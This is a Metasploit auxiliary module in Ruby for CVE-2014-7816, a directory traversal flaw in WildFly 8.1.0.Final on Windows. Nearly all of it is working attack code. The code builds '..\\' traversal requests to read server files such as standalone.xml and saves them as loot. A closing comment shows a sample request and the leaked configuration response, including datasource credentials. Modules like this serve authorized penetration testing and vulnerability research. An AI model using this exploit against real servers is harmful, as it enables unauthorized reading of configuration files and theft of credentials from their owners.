WildFly Directory Traversal

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WildFly Directory Traversal',
      'Description'    => %q{
        This module exploits a directory traversal vulnerability found in the WildFly 8.1.0.Final
        web server running on port 8080, named JBoss Undertow. The vulnerability only affects to
        Windows systems.
      },
      'References'     =>
        [
          ['CVE', '2014-7816' ],
          ['URL', 'https://access.redhat.com/security/cve/CVE-2014-7816'],
          ['URL', 'https://www.conviso.com.br/advisories/CONVISO-14-001.txt'],
          ['URL', 'https://www.openwall.com/lists/oss-security/2014/11/27/4']
        ],
      'Author'         => 'Roberto Soares Espreto <robertoespreto[at]gmail.com>',
      'License'        => MSF_LICENSE,
      'DisclosureDate' => '2014-10-22'
    ))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('RELATIVE_FILE_PATH', [true, 'Relative path to the file to read', 'standalone\\configuration\\standalone.xml']),
        OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 1])
      ])
  end

  def run_host(ip)
    vprint_status("Attempting to download: #{datastore['RELATIVE_FILE_PATH']}")

    traversal = "..\\" * datastore['TRAVERSAL_DEPTH']
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => "/#{traversal}\\#{datastore['RELATIVE_FILE_PATH']}"
    })

    if res &&
        res.code == 200 &&
        res.headers['Server'] &&
        res.headers['Server'] =~ /WildFly/
      vprint_line(res.to_s)
      fname = File.basename(datastore['RELATIVE_FILE_PATH'])

      path = store_loot(
        'wildfly.http',
        'application/octet-stream',
        ip,
        res.body,
        fname
      )
      print_good("File saved in: #{path}")
    else
      vprint_error("Nothing was downloaded")
    end
  end
end

=begin
GET /..\\standalone\\configuration\\standalone.xml HTTP/1.1
User-Agent: curl/7.38.0
Host: 127.0.0.1:8080
Accept: */*

HTTP/1.1 200 OK
Connection: keep-alive
Last-Modified: Wed, 22 Oct 2014 14:37:28 GMT
X-Powered-By: Undertow/1
Server: WildFly/8
Content-Type: text/xml
Content-Length: 19697
Date: Wed, 22 Oct 2014 16:32:08 GMT

<?xml version='1.0' encoding='UTF-8'?>

<server xmlns="urn:jboss:domain:2.1">
<extensions>
<extension module="org.jboss.as.clustering.infinispan"/>
...snip...
<subsystem xmlns="urn:jboss:domain:datasources:2.0">
<datasources>
<datasource jndi-name="java:jboss/datasources/ExampleDS" pool-name="ExampleDS" enabled="true" use-java-context="true">
<connection-url>jdbc:h2:mem:test;DB_CLOSE_DELAY=-1;DB_CLOSE_ON_EXIT=FALSE</connection-url>
<driver>h2</driver>
<security>
<user-name>sa</user-name>
<password>sa</password>
</security>
</datasource>
<drivers>
<driver name="h2" module="com.h2database.h2">
<xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
...snip...
=end